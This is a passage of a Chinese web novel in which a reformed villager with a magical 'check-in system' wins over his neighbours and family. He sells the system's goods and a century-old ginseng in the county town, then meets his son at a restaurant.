正蹲在村口大树下闲聊的村民,看到江河手里拎着的野鸡,竹篓里背着的山货,全都惊讶的瞪大了双眼。
这是……太阳打西边出来了?
江河这个二赖子,村里有名的懒货,竟然舍得进山狩猎了?
而且,看他样子,似乎收获还不错!
“我的老天!江河手里拎着的那两只野鸡,咋像是什锦野鸡?!”
一个老汉瞪大了眼睛,看着江河手里那两只肥得流油的野鸡,忍不住失声惊呼:
“不会错了,那一身艳红的尾羽,还有头顶那抹金色的肉冠,肯定是什锦野鸡没错了!”
“啧啧啧,江河这运气,真是没谁了啊!”
“那可是什锦野鸡啊,听说县里的那些贵人们最喜欢吃这种鸡了,一只就算是卖上两百文,也有人抢着收!”
“江河这次一下猎到了两只什锦野鸡,四百文钱妥妥的到手了!”
“……你们看,他背篓里好像也满当当的,这是捡到啥好东西了?”
“好像是梨子和野枣?啧啧,这季节的山梨可不好找!”
“……”
“江河,你这运气还真是好得不像话啊!才一个下午功夫,就弄了这么多?”
面对村民们惊奇、羡慕甚至有些嫉妒的目光,江河淡笑着开口谦虚道:
“运气,都是运气。进了山,东转转西看看,没想到还真就让我碰上不少好东西。”
说着,江河停下脚步,将背上的背篓放下。
他从竹篓里拿出几只水灵灵的秋叶梨,又抓了两大把红艳艳的野枣,走到村口大树下,不由分说地塞到了那几个老人和正在玩耍的孩子手里。
“王五伯,二婶子,王三爷,尝尝这山梨,刚摘的,脆甜着呢!”
“小石头,狗娃,来,拿着枣子吃,别客气!”
他动作自然,语气真诚,没有半点儿佯装、造作之态。
几个老汉及老婆子愣了一下。
低头看着已经被塞进手里的水灵灵的梨子和饱满的野枣,又抬头看看江河那张带着笑、似乎与以往大不相同的脸,心中不由泛起了一丝别样的意味。
“这……江河,这是你辛苦弄来的山货,留着给家里娃儿吃呗!”
王五伯推辞着,但手里却握紧了那个大梨子。这季节,这么好的山梨可不多见。
“就是就是,你家里孩子多,正需要呢!”二婶子也附和着,但眼神却忍不住往梨子上瞟。
“不值几个钱,山里摘的,就是尝个鲜。”江河笑道:“以前我混账,不懂事,让大家看笑话了。”
“以后我江河要洗心革面,重新做人,还得靠各位叔伯乡亲多帮衬、多指点呢!”
见江河说得这般客气、中肯,几个老人听着很是受用,脸上的笑容也不觉变得真切了许多。
“好!好!浪子回头金不换!江河,你能这么想就对了!”
“以后好好过日子,没事儿别再打孩子了,真要是遇到了啥难处,就跟大伙说……”
虽然只是一些口头上的漂亮话,但是江河却知道,这就是他挽回自己之前卑劣名声的良好开端。
只用几颗不值什么钱的野果,就能换得村中这些长者的好感与认可,在江河看来,再没有什么比这更划算的买卖了。
第92章 以后这个家,由老子来扛!
“爹,这……这些全都是你在后山猎到的?!”
“爹,这两只野鸡是什锦**?不会错的,身上的羽毛这么漂亮,肯定是什锦野鸡!”
“我听村东的王四爷说过,后山的什锦野鸡可值钱了,一只至少都能换来两百文钱呢!”
“爹,你也太厉害了吧!”
“除了这两只什锦野鸡外,竟然还找到了这么多的秋梨、大枣和木耳……”
江河带着东西回到家中的时候,**、江源与赵穗、罗灵几人也刚刚从田里耕作归来。
看到江河手中拎着的什锦野鸡,还有背上竹篓里背着的满满一篓的山货,几个人不约而同的全都围了上来。
他们谁都没有想到,平时在家好吃懒做,连油罐子倒了都懒得弯身扶起来的老爹,竟然还有这样出众的狩猎及赶山的手艺。
才一个下午的时间,他竟然就从后山里面寻来了这么多好东西。
尤其是那两只什锦野鸡,可是价值四百文的稀罕野味。
老爹这一下午赶山狩猎所收获到的东西,都快赶得上他们在地里忙活大半年的收成了!
爹有这样的本事,怎么以前却从来都没有见过亮出来过啊?
几个孩子又是激动又是疑惑的看向江河。
现在他们才算是真正明白过来。
为何中午吃饭的时候,老爹会那般自信满满的说,要送家里所有适龄的孩子去读书,还说以后有他在,家里不必再担心会缺钱花之类的话。
之前他们还以为是老爹又习惯性的吹牛皮,是在跟他们画大饼、开玩笑呢。
可是现在,看到老爹在后山一个下午的收获,他们才后知后觉的意识,老爹似乎并没有吹牛逼!
他好像真的有能让全家过上好日子,让所有孩子都读书进学的手段与本事!
江河看着几个孩子震惊又带着探究的眼神,心中了然。
他放下竹篓,随手将两只什锦野鸡递给赵穗,神色平静地开口道:
“老子一直都有这手艺,只是爹以前糊涂,也懒得动,不想入山冒险罢了。”
“现在老子都死过一次了,很多事情都看明白看通透了,也算是幡然醒悟。”
“自然不能再像以前那样好吃懒做,把养家糊口的责任全推到你们几个孩子的身上。”
江河的声音不高,却带着一种沉甸甸的分量和不容置疑的决断。
“以后,这个家,由老子来扛!”
“你们该种地种地,该读书读书,该玩就玩,不用再像以前那样,小小年纪就为了一口吃的发愁,四处看人脸色!”
这话说得霸道,却又充满了无尽担当。
就像一块巨石骤然投入平静的湖面,在**、江源等人心中激起滔天巨浪。
以前?责任?
这四个字像针一样扎进**的心中。
他想起自己才十余岁就被逼着下地干重活。
想起爹把粮食全都送去了老宅,家里经常揭不开锅。
想起妹妹江沫儿饿得直哭,爹却视而不见。
想起娘死之后,自己和江源像小大人一样,早早扛起了这个摇摇欲坠的家……
养家糊口的责任,何曾落在过他们这个渣爹的肩上过?
从来都是他们这些孩子在苦苦支撑啊有木有?!
可现在,爹居然亲口承认了,承认他以前是在逃避责任!
更说出了“不能再把养家糊口的责任全推到你们几个孩子身上”这样的话!
瞬时间,一股难以言喻的酸涩猛地冲上**的鼻腔,眼睛瞬间就模糊了起来。
不是委屈,不是怨恨,而是一种混杂着难以置信、巨大震动和一丝迟来的、属于孩子般的委屈终于被看见的释然。
江源更是直接红了眼眶,他年纪更小,记忆里更多的是爹的冷漠、凶狠和家里的穷困窘迫。
从小到大,他何曾听过老爹说出这样斩钉截铁要“扛起家”的宣言?
他只觉得胸口堵得慌,又热得发烫。
赵穗和罗灵也背过身去,肩膀微微耸动。
她们嫁进来时,公爹已是那般模样,她们只能跟着丈夫咬牙苦熬。
如今听到公爹这番话,仿佛一直压在心头的那块名为“绝望”的石头,被猛地撬动了起来,透进了一缕缕名为“希望”的光。
“爹……”**声音哽咽,想说些什么,却又不知从何说起。
江河拍了拍他的肩膀,语气缓和下来:
“行了,男子汉大丈夫,别整这出,把眼泪给老子憋回去!”
“以后咱们家的男人,腰杆子都得挺直了,别遇一点儿事儿就哭哭唧唧的让人笑话!”
说完,他又看了一眼赵穗,指了指刚刚递给她的那两只什锦野鸡,直声交待道:
“这两只野鸡,今晚炖一只,给孩子们尝尝鲜,补补身子,看他们一个个的全都瘦成了细
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麻秆儿,老子都担心哪天刮来一阵大风,会把他们全都给刮跑了!”
“另一只留着,明天我去县里看看,能卖就卖了,换些钱和粮食回来。”
“这段时间县里的粮食一直涨价,这可不是什么好现象,咱们得提前多储备一些粮食以防万一。”
“还有这些梨子枣子,你们分着当零嘴吃。木耳嘛,吃不完就晒干了留着备用。”
“以后老子隔三差五就去山里转悠一趟,怎么也少不了你们口吃的!”
隔三差五就进山……
听到这话,**等人的心头又是一震。
山里面有多危险,他们这些从小在山根根下长大的孩子可是再清楚不过。
可是现在,他们以前那个连多走几步路都嫌累的爹,竟然主动说要频繁进山狩猎!
这……
一时间,几个孩子心中全都五味杂陈。
感动、担忧、还有一股从未有过的、被强大父爱笼罩的安全感,交织在一起。
几个孩子全都**河的这些话给感动得眼圈泛红。
**更是没有忍住,眼泪还是不争气的掉了下来,他连忙用袖子狠狠擦去,不想让爹看见。
“爹,山里危险,您……您一定要小心!”
**哑着嗓子,千言万语最终只化作这一句最朴素的叮嘱。
此刻,他心里对爹那点残留的怨气早已烟消云散,只剩下满满的关切和依赖。
“放心,老子心里有数。”
江河拍了拍**的肩膀,又揉了揉江源的脑袋,朗声道:
“我平常就在外围转转,不往深处去。你们老子我,还等着看你们一个个的都成家立业,等着抱孙子、重孙子呢!”
“好了,都别傻站着了!”
说笑过后,江河挥挥手,又恢复了那副“一家之主”霸道架势,开口向几个孩子吩咐道:
“老大媳妇,老三媳妇,你们到灶房宰鸡炖鸡去!”
“老三老四,你们去劈柴挑水!小沫儿,带你几个小侄女和小侄去洗手洗脸,一会儿准备开饭!”
“哎!”
这一次,家人的应和声格外响亮,带着前所未有的干劲和发自内心的喜悦。
遵着江河的吩咐,他们很快就手脚麻利地行动起来,小院里瞬间充满了欢乐祥和的烟火气息。
江家的每个人,包括几个小孩子的脸上,都洋溢着久违的、欢喜安乐的开怀笑容。
第93章 再入县城,百贯收益
翌日。
因为准备要去县城,所以江河特意起了一个大早。
可即便是如此,太阳也早已从东边冒出头来,时间已经来到了早上八点多钟的样子。
当他从床上起来的时候,家里已经没有了其他人。
**、江源、赵穗、罗灵,甚至就连其余五个孩子,也全都已经出了门。
对此,江河早已是见怪不怪。
农家人本就勤快,习惯了早起,**他们肯定又是早早的下地耕种去了。
昨天晚上吃饭时,他就听**、赵穗与罗灵几人说起,最多再有今天一天,地里的耕作差不多就能忙完。
之后他们就能暂时清闲下来,抽空做些别的活计了。
其中,**与江源两个小子,甚至还开口央求江河,想要让老爹带着他们一起去村后的天姥山中赶山狩猎呢。
也就是说,过了今天,他以后再想要单独做些什么事情,就有些不太方便了。
所以,他必须要在今天,把之前签到得来的那些好东西全都处理掉。
最好能全部换成粮食储存起来,以备不时之需。
同时,他也想要再在三河县城内随处逛逛,看看还有什么新的签到地点没有被他发现。
简单洗漱了一番,又到灶房里吃了两个水煮鸡蛋之后,江河便背上昨天的竹篓,拎着那只什锦野鸡,优哉游哉地出了家门。
路上碰到几个熟面孔的村民,竟然也没有再像以前那样,远远地躲着他走,而是和善地主动跟他打起了招呼。
“江河兄弟,这么早出门啊?”
“是啊,去县城转转。”
“这不,昨天刚在后山猎了只野鸡,看看能不能去换俩钱来补贴家用。”
江河笑着回应,晃了晃手中拎着的什锦野鸡。
然后又顺手从背后的竹篓里摸出几个昨天“摘”的秋梨递过去。
“昨天刚从山上采的秋梨,可甜了,拿回去给家里娃儿尝尝鲜。”
村民接过,脸上笑容更真切了几分:“哎呀,这怎么好意思……多谢多谢!”
“江河兄弟,听说你昨天在后山可是收获不少,仅是这只什锦鸡,就抵得上咱们农家两亩地近乎一年的收成了!真是好运道啊……”
“确实是走了好运,也是山神爷赏饭吃。”
江河含糊应和了几句,便继续移步往前走。
从他们家走到村口,这么短短的一段路程走下来,主动跟他打招呼的竟有六七人。
这样的变化,江河自然是乐见其成。
同时也让他意识到,经过了昨天的那场风波与劫难之后,他在下河村内的糟糕名声,也正在潜移默化中被一点点儿地扭转。
村里的这些人,已经开始逐渐地接受了他现在的全新人设。
知道他已经浪子回头,已然不再像以前那么抵触甚至厌恶他了。
江河可不是原身那个蠢货。
他很清楚,在这个宗族观念与地域观念都极为深重的时代,一个人在村里的名声和人际关系究竟有多么重要。
以前原身那个二赖子、地痞小流氓的形象,让人鄙夷又避之不及,人们看到他全都恨不得躲得远远的。
这样恶劣的人缘与邻里关系,在他或他的家人遇到不公或是被外人欺负的时候,又怎么可能会有人肯主动站出来帮他们一把呢?
之前,**、江源还有江沫儿、江娴他们,在村子里老是被人欺负而没有人管。
归根结底,就是他这个当爹的太过混账,没有真正的在村子里立住根脚。
否则,哪怕是看在他这个当爹的面子上,别人也不敢做得太过分。
走出村口,江河沿着土路一直向东。
步行了约有半个时辰,三河县城特有的青灰色砖石城墙便出现在了眼前。
城门处有懒散的兵丁把守,但对进出百姓只是随意扫两眼,并未详细盘查。
江河缴纳了一文钱的入城税,顺利融入县城略显嘈杂的人流。
县城内商铺林立,酒旗招展,贩夫走卒的吆喝声、讨价还价声、车轮轱辘声交织成一片鲜活的市井画卷。
不过江河却无心观赏,他背着竹篓,熟门熟路地穿过几条街道,来到了城西的坊市。
还是那间陈记杂货铺,还是那个低头打着算盘的老掌柜。
不过这一次,老掌柜并没有再让江河对暗号,只是抬头看了江河一眼后,便冲他挥了挥手,示意他自己到后院去。
看样子是已经记得了江河的样貌,不想再整得那般麻烦了。
毕竟,江河前天才刚刚来过,也算是熟客了。
“有劳,多谢!”
江河客气地冲老掌柜拱了拱手,然后便径直穿过偏房,去了后院。
依着规矩,交了二十文的入场费,领了一只挂着黑纱的大檐斗篷后,江河便再次进入了地下坊市之中。
所谓一回生,二回熟,有了上次过来地下坊市的经验,还有原身残留着的那些相关记忆,江河轻车熟路的流转在地下坊市各个摊位及店铺之间。
不断地处理售卖着他物品栏内,那些需要处理掉的签到物品。
其中,在望福楼内签到得来的五十只【极品官燕】,与二十几坛【精品桂花酿】,全都卖出了高价,直接就让江河入账了五十余两雪白的银子。
换算成铜钱的话,那可就是五十几贯!
除此之外,还有一些布帛、银钗、白糖,以及他之前从江家老宅得来的那只玉镯,等等等等。
全都卖出之后,这些东西也为江河带来了差不多五十余贯的收入。
卖这些东西的时候,江河一直都小心翼翼,不敢在同一家店铺或是摊位之上出手太多,免得会被有心人给直接盯上。
如此,也在无形中浪费了他大量的时间。
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好在,他有可以收纳万物的物品栏,能将他贩卖物品所得的财物全部收入其中。
否则这五十余两银子,再加上五十几贯的铜钱,加起来总重量都超过了三百斤,着实太过引人注目。
真要是带在身上的话,他怕是都不能活着走出这处地下坊市。
等到他将需要处理的东西全部处理干净之后,身上仍然背着一只他过来时带着的,只装了一只什锦野鸡和些许秋梨的竹篓,看上去寒酸之极。
看守地下坊市的那些闲汉,还有正在坊市中游逛的其他路人,只是远远地看了他一眼后,就对他失去了兴趣。
就这样,江河有惊无险地从地下坊市平安出来。
此时,外面的太阳已经高悬在了头顶,看上去有十一点多钟的样子,临近午时。
原来在这不觉之间,他已经在地下坊市之中,待了足有两个小时左右的时间。
重新沐浴在这明亮温暖的阳光下,江河的心情大好。
现在,他的身上已经有了超过一百五十贯的现钱,若是全都买成粮食的话,足够他们一家十口人吃上十几二十年的了。
不过,他没有立刻去粮市大肆采购粮食,而是先在这三河县城内几处繁华的街道之中,看似随意地闲逛了起来。
寻找新的签到地点是一方面,测试签到系统的签到规则也是他此行的重点。
感觉有些口渴,他先在就近的茶铺之中喝了几口热茶,一刻钟后,并没有如愿激发签到提示。
之后,他又到旁边的布庄之中为江沫儿挑选做新衣服的料子,磨蹭了一刻钟后,同样没有激发签到提示。
江河心中不免有些失望,接连两次的失败尝试,让他已然可以很肯定的确定——
同一类型的商铺,只有第一次进入其中时,才会成功激发全新的签到地点奖励。
而且,根据他昨天在家里和天姥山两个地方的重复尝试。
他也已经可以确定,除了触发新的签到地点之外,他每天固定的签到次数,依然只有一次。
若他在家里,或是别的地点签到完成,再去其他已经触发过全新签到地点的地方签到的话,根本就无法再次触发签到奖励。
这也就意味着,江河每天只能选择一个签到地点进行签到。
要么家里,要么天姥山,要么三河县内的某处生活类商铺。
按照他之前的签到经验来判断,医馆、钱庄还有酒楼之中的签到奖励,无疑是最为丰厚的。
只是,他现在居住的地方是下河村,距离三河县城虽然不远,可也有近乎十里地的距离。
而且,他也不能没事儿老往县城里跑。
若是来得太勤了,别说是村里的乡亲了,就算是家里的孩子都得起疑心。
所以,以后他每天的常规签到地点,也只能是在家里,或是村后的天姥山了。
第94章 出售【百年野山参】
在街面上转悠了一大圈,江河竟再没有找到一个能够触发签到系统提示声音的商铺。
不知不觉间,他就溜达到了之前为他开过诊断证明的安民医馆。
想到上次他在安民医馆触发签到奖励,所得到的六支【百年野山参】,六颗【特效大力丸】,以及足足六十年功力的【八段锦**经验包】,江河不由心头一热。
【百年野山参】就不说了,那可是在关键时刻能救命的好东西,本身的价值亦是不菲。
而【特效大力丸】和【八段锦**经验包】,更是让他从一个普通人,一跃成了小“超人”一般的存在。
这些身体上的强大变化,可是无论花多少钱都买不来的实在好处。
所以,从本心里来讲,若是每天只有一次签到机会的话,他更愿意将签到的地点定在这家安民医馆之中。
走入医馆,江河抬眼观瞧,并没有见到前日为他诊断的那位陈医师,想来是今日休息,并未坐诊。
店内的药童见有客人上门,便面带微笑的主动迎上前来:“客官是看病还是抓药?”
“不看病,也不抓药。”江河微微摇头,轻声问道:“你们这收药材吗?前些天我在山里采到了一支野山参,不知道你们这里收不收?”
小药童一愣,上下打量了江河一眼,最后目光落在了江河背着的竹篓之上,轻声言道:
“正常情况下,我们医馆有自己的供药渠道,是不从散客手中直接收取药材的。”
“不过嘛,我们掌柜曾有过交待,若是附近的山民采到了年份不错的野山参或是紫芝、茯苓、重楼之类的珍贵药材,也可以破例收取一些。”
“我家掌柜今天正好在呢,你若是真有野山参想要出手,这就随我来吧!”
说着,小药童便引着江河去了医馆内侧的柜台。
江河缓步跟在后面,同时心中默念:
“签到!”
“叮,签到地点刷新成功,签到地——三河县,安民医馆!”
“叮!恭喜宿主签到成功,触发三倍暴击奖励,获得铜钱50文*3,【十年份野生铁皮石斛】一株*3,【速效救心丸】一瓶*3,【特效退烧药】一盒*3!!”
听到这熟悉的提示声音,江河心神微震。
三倍的暴击奖励,也算是不错了。
虽然这奖励远不如首次签到时那般震撼,但江河心里却很清楚,系统给予的【速效救心丸】和【特效退烧药】,在这个时代意味着什么。
那可是能在阎王爷手里抢人的好东西。
尤其是【特效退烧药】,对于家里有一群孩子的江河来说,其重要程度,甚至还要在那几株【百年野山参】之上。
还有那【十年份野生铁皮石斛】,也是难得的好东西。
江河就算是再不懂药,也听说过这【铁皮石斛】有“九大仙草”之首的美誉,其价值未必会比那几株【百年野山参】逊色。
轻吐了一口气,江河迅速收敛心神,将注意力放回到眼前的交易上。
小药童将他引到柜台前,对着一位正在拨弄算盘、身着绸衫、面容清癯的老者道:
“掌柜的,这位客人说在山里采到了一支野山参,想问问咱们收不收。”
老掌柜闻声抬起头,一双阅人无数的眼睛在江河身上微微一扫,不由轻皱起了眉头。
此人看上去虽身形魁梧健壮,但是却唇红齿白,面容白嫩,双手十指之上更是没有半点儿老茧,怎么看都不像是常年入山觅食的山民,甚至就连附近耕作的农人都不是。
这样的人,竟然还敢说自己入山采到了野山参,骗鬼呢这是?
心中虽然起疑,不过老掌柜并没有直接表现出来,仍是客气的向江河拱手招呼道:
“敝人姓周,周立人,不知客官怎么称呼?”
“江河!”
江河清楚这里面的门道,知道人家这里在盘他的道,问他的出身来历,便直接回复道:
“三河县辖下,下河村人,这是我的路引,请周掌柜过目。”
说着,江河从怀中掏出他的身份路引,双手递到周掌柜的身前。
这个时代做生意就是如此,如果你的身份来历不明,这些正经的生意人家根本就不会理你。
况且,这本就是明面上的生意,江河也不想有太多隐瞒。
毕竟,日后若是有人怀疑他家的财产来源不明时,他可能还需要这位周掌柜来为他作证呢。
“下河村,江河?”
周掌柜接过江河的路引,仔细观瞧了片刻之后,又将路引递回给江河,微微点头:
“下河村,老夫倒是听说过,背靠天姥山,确实有不少猎户喜欢入山狩猎、赶山。”
“你方才说在山里采到了野山参?不知成色如何?”
“提前说好了,若只是寻常货色,我们安民医馆是不收的,客官最好还是去外面的药铺碰碰运气。”
江河没有说话,而是直接把手伸进竹篓,同时心念一动,从物品栏内取出一支已经清理干净的【百年野山参】,径直放在了周掌柜身前的台面上。
“周掌柜请过目,若是您觉着不满意,江某二话不说,转身就走。”
话说千言,都不如让对方直接见到实物。
对于系统出品的【百年野山参】,江河可是信心十足。
只要这个周掌柜不是一个什么都不懂的草包,就一定能辨认出这支【百年野山参】的真正价值!
果然。
当江河手中这支野山参拿出并安放在柜台上时,整个医馆都仿佛安静了一瞬。
周掌柜原本略带审视和不以为然的目光,瞬间凝固。
他猛地站起身,动作快得完全不似一个老人,甚至带倒了身后的凳子也恍若未觉。
他的双眼死死盯住那支山参,呼吸都不自觉地屏住了。
只见那支山参,主根粗壮如成人拇指,芦碗紧密如螺旋,皮色呈深沉的黄褐色,上面的纹路清晰而细密,犹如铁线缠绕,更隐隐泛着一层温润的光泽。
须根纤长而柔韧,上面的珍珠点密密麻麻,散发着一种醇厚、清冽、令人精神一振的奇异香气。
“这……这是……”
周掌柜的声音都有些发颤,他几乎是用双手,小心翼翼地将山参捧起,凑到眼前,贪婪地嗅着那参香,手指轻轻拂过参体上的每一道纹路。
他行医、用药数十年,眼力自然是没得说。
眼前这一支野山参,无论是从形体、皮色、纹路、芦头还是香气等方面判断,都绝对是百年以上的极品老参!
而且品相保存得如此完好,药力没有丝毫流失,简直是可遇不可求的宝物!
旁边的小药童也看呆了,他虽然见识不如掌柜,也分辨不出山参的好坏。
但是他却很会察言观色,光是看到老掌柜这般激动颤抖的神情,哪里还能不知道,江河拿出来的这只野山参,必然是珍贵非常!
否则的话,他们家这位素来淡定素然,养气功夫极为了得的老掌柜,怎么可能会激动成这个样子?
周掌柜看了足有半
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盏茶的功夫,才缓缓将山参放回柜台上铺着的软布上,深吸了几口气,努力平复激荡的心绪。
当他再次抬头看向江河时,眼神之中已经再没有了之前的轻视与猜疑。
“江……江河小兄弟是吧?”
周掌柜的声音恢复了平稳,满是褶皱的老脸上堆满了笑意,亲切无比的开口向江河说道:
“老夫也不瞒你,你这支野山参,乃是存活了百年以上的稀世珍品!你若是诚心想要卖的话,老夫可以出价六十……不,老夫可以出价九十两纹银!”
他没有多嘴询问江河这支野山参究竟是从哪里采到的。
只要江河的身份没问题,又切切实实的拿出了这般难得的百年珍品野山参,那就足够了。
身为医馆掌柜,他太清楚这样一支品相完好,药力没有分毫流失的百年野山参,究竟有多么的难得。
无论如何,他今天也要把这支野山参给拿下!
所以出价的时候,他直接将收购价格上溢了三成。
江河闻言,不由眼前一亮。
他既然有心想要出售这支【百年野山参】,怎么可能会不提前打听一下相关的行情与价格?
之前在地下坊市之中,他就有意无的从那些药材贩子口中探听到了寻常【百年野山参】的收购价格,基本上在五十两到六十两之间。
因为数量稀少,所以有时候也有人愿意出到七十两甚至八十两来高价求购。
而现在,这位安民医馆的掌柜,竟然一开口就给他出价到了九十两,绝对是诚意满满,比之在地下坊市之中的收购价格,高了近乎一半。
由此可见,这个周掌柜绝对是个实诚人,而且也是真的相中了他手中的这支【百年野山参】。
“周掌柜果然爽快!这支山参现在是您的了!”
江河没有再坐地起价,直接爽朗开口答应了周掌柜的报价。
这样的【百年野山参】,他的物品栏里还有五支,看在周掌柜这么实诚的份上,以后倒是可以考虑把剩下的那些,也分批卖给这位周掌柜。
见江河这么爽快的就答应了下来,周掌柜的脸上也不由泛起了一丝喜色,朗声笑道:
“哈哈哈,好,小兄弟稍待,某这就去为你取钱!”
说着,周掌柜回转过身,亲自去后堂取来银钱。
十两一锭的银子,一共取来了七锭,被周掌柜用一只黑色的钱袋装盛着,小心地交到了江河的手中,同时小声交待道:
“财不外露,小兄弟你且点点看,若是无误的话,老夫这就给你开写收货契书!”
江河打眼一扫,确定银锭的数量不错,便拱手向周掌柜道谢,而后将钱袋小心地放进了竹篓之中,用上面的干草严实盖住。
而暗地里,他早已是心念微动,将这袋银钱全部收入到了物品栏中。
感应到物品栏内多出来的七十两纹银,江河不由心情大好,颇有几分财大气也粗的即视感。
“江河小兄弟,这是收据契书,你且收好了。”
“日后小兄弟若是在山中再有这样的收获,可千万莫要忘了来我安民医馆寻我周立人,保证童叟无欺,给你一个最高价!”
这个时候,周掌柜递过来一份他刚刚书写,且盖上了他们安民医馆公章的收购契书。
江河伸手接过,看到契书上白纸黑字明确写着:
今自下河村村民江河手中,收到上等百年野山参一支,作价纹银九十两整,以此为契。
庆安二十六年,九月十三日,周立人书。
第95章 江天的意外与震惊
看着契书上清晰的写着“下河村村民江河”、“百年野山参”、“纹银九十两整。
以及下面安民医馆的印章、周立人的亲笔签名与具体的交易日期,江河的嘴角不由微微勾起,满意点头。
对于他来说,这份契书可不仅仅是一张收据,更是一张“护身符”。
它的存在,合法地证明了,他江河,一个下河村的普通村民,通过向正规医馆出售珍贵山货,获得了九十两银子的合法收入。
这笔钱的来源清晰、合理,经得起任何人的追查和推敲。
之前原身名声狼藉,且家里也穷得叮当响。
若是江河现在突然拿出一大笔钱财来改善生活,村里的乡亲必然会有所猜疑,甚至眼红嫉妒。
尤其是老宅那边昨天才刚刚丢了一大笔钱,甚至还报了官,搞得整个下河村人尽皆知。
若是这个时候他们家的生活条件突然变好了,怕是任谁都会往不好的方面去想。
而这份来自县城知名医馆掌柜亲笔书写的买卖契书,无疑就是他财产来源最有力的明证。
日后,若是真有人不怀好意的举报或是诬告于他,这份契书的作用便会十倍百倍的凸显出来。
这也是江河为何要来安民医馆这样有着官方背景的大医馆,出售【百年野山参】的原因所在。
他这算是在未雨绸缪,防范于未然。
“多谢周掌柜。”
江河小心地将契书仔细折起,贴身收好,然后郑重拱手向周立人道谢。
“日后我在山中若是再有什么收获,必定会再来叨扰。”
“好说好说!”
周掌柜捻须微笑道:
“我们安民医馆长年收购这样上了年份的野山参,紫芝、茯苓、重楼之类的珍贵药材,以后小兄弟若是再有类似的收获,只管往老夫这里送,价格保证让你满意!”
虽然他不太确定江河以后是否还会有这样的好运气,可以寻到同样品质的【百年野山参】,但是周立人还是习惯性的为自家医馆招揽了一下生意。
没办法,谁让这种野生的珍贵药材,可遇而不可求,他们医馆之中的储备几乎常年都有缺口呢。
所以他并不会放过任何一个有可能会获取这类珍贵药材的机会。
交易完成,江河没有再继续在医馆之中多作停留。
现在时间已过正午,他的肚皮方才就已经开始咕咕作响,该去吃午饭了。
是以,出了安民医馆,江河便直接朝着另一条街道的望福楼走去。
只是几分钟的工夫,他就看到了望福楼那镶着金边的酒旗招牌,闻到了从店面之中飘出来的酒香与菜香。
“客官您里边请!”
刚到门前,便有一个年轻的小伙计热情地迎了上来,满面含笑的向江河问道:
“不知客官是宴请、家宴还是应邀而来,可有预定的包房?”
江河见状,不由眉头微挑。
这还真是巧了,这次出来迎接自己的小伙计,正是上次那个叫“阿荣”的年轻人。
江河不由轻笑道:“小兄弟,怎的才一天不见,你就不认得我了?”
阿荣一怔,这才抬起头来仔细打量,看到来人竟是江河之后,脸上的笑意更显真诚。
“原来是江伯父来了,您是来吃饭,还是来寻天哥?要不要我现在就去把天哥给您叫出来?”
江河摆手道:“先不要叫他,还是跟上次一样,给我找个安静的位置,等我点完菜后,再把江天那小子给我叫出来不迟。”
“得嘞!江伯父您随我来!”阿荣心中了然,热情的招呼着江河进了大厅,给江河找了一个相对僻静的位置。
待江河在餐桌前坐定,阿荣提起茶壶为江河斟倒了一杯热茶,然后轻声问道:
“江伯父,不知您这次想要吃点儿什么?”
江河没有多想,随口说道:“来一盘水晶肴肉,一盘清炒时蔬,一份酱牛肉,两碗阳春面,再温一壶精酿桂花酒。”
“今天我高兴,要跟老二好好喝上一杯。”
嘶~!
听到江河点的这些菜,阿荣不由轻吸了一口气,忍不住出声提醒道:
“江伯父,这酱牛肉和桂花酒,我们望福楼每日可是限量供应,价格全都高得离谱,您确定要点这样两样东西?”
江河眉头一挑:“咋的,觉得我吃不起?”
“没有没有,江伯父误会了,我绝对没有这个意思。”
阿荣连忙摆手道:“我只是觉得这两样酒菜实在是太贵了,加起来都足有一贯多钱了。”
“而天哥这两年的日子过得很苦,钱庄里还欠着贷款,前几日那些催贷的人都寻到我们酒楼里来了,闹腾得可厉害了……”
阿荣絮絮叨叨地说了一大堆,虽然一直没有点明主题,不过江河却已然明白了他的意思。
无非就是想要让江河少些口腹之欲,省下些钱拉他的“天哥”一把。
这小子,能够这么为江天着想,倒是有些意思。
看样子,他们两个在私底下的交情应当不错。
不过,江天似乎并没有把家里之前发生的那些事情告诉这小家伙,显然是不想把家丑外扬。
既然这样,江河也不好多嘴去拆江天的台,含糊的应付了几句之后,道:
“行了行了!你的意思我已经听明白了。江天是我儿子,他欠的外债我这个当老子的自然不会不管。”
“不过现在,我只想要好好的吃顿饭,喝顿酒,你只管按我说的去上菜就好,其他的我自有安排!”
“好嘞!江伯父您稍等,酒菜马上就来!”
一听江河有意要为江天还债,阿荣的面色瞬间变得开怀起来,不再说那些扫兴的话,连着应了两声之后,就一溜儿小跑着去了后厨。
江河看着阿荣的背影,轻摇了摇头,端起茶杯慢慢啜饮。
他知道,阿荣这一去,后厨的江天很快就会得到消息。
以江天那敏感多思且还有些执拗倔强的性子,听说他这个老子不但又来了,而且还点了这么贵的酒菜,估计又要被“吓”坏了。
果然,没过多久,酒菜还没上
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齐,老二江天的身影就出现在了他的餐桌之前。
江天这段时间一直都在后厨帮忙,本就忙得有些不可开交。
现在又听到阿荣说,自己的渣爹竟然又来了,而且还点了价值超过一贯钱的酒菜,直接小跑着从后厨出来,额头上都冒出一层细密的汗珠。
站在江河的餐桌前,江天的气息有些微喘,脸色略微苍白,嘴唇紧抿,眼神复杂地望着江河。
“你……你咋又来了?不是说好了,明天让我带着孙芳还有俩孩子回去一趟吗,怎的今天你又过来了?”
江天开口询问,语气虽然依然有些僵硬与不自然,也没有叫爹,但是却也再没有指名道姓的直呼江河的名字了。
看得出,江河之前替他还了贷款,又往他们家院子里送了那么多好东西,终是让这个二儿子对他的态度变得稍软和了一些。
当然,这也可能与**昨天进城跟江天通过气有关。
现在的江天,应该已经知晓他这个老爹性情大变的事情了,所以在面对江河时,态度也与以前有了些许不同。
“咋,老子没事儿来县城转转,顺道来看看自己的儿子,不行?”
江河放下茶杯,指了指对面的椅子,淡声道:
“既然过来了,就给我老实的坐下来说话。老子今天高兴,你一会儿陪我喝两杯!”
“放心,不会让你多喝,也耽误不了你太多时间!”
江天闻言,深看了江河一眼,缓缓在对面的餐椅上坐下。
“我听阿荣说……你刚刚点了酱牛肉和桂花酒?”
犹豫了片刻,江天还是开口向江河说道:
“那两样酒菜加起来,足有一贯多钱,老家除了那几亩地外,几乎没有什么多余进项,老宅那边又时常过去打秋风……”
“打住!”
江河直接抬手打断了江天的絮叨。
“昨天一大早,老三不是进城来寻过你了么?”
“咋,他没告诉你,咱们现在已经跟老宅那边彻底断亲了?”
“往后,老宅与咱们大房这边,井水不犯河水,老死不相往来,他们休想再从我这里拿走一粒粮食。”
江天闻言,神色不由稍愣了一下。
昨天大清早,**确实来跟他说过他们大房与老宅断亲的事情,只是他一直都没敢相信罢了。
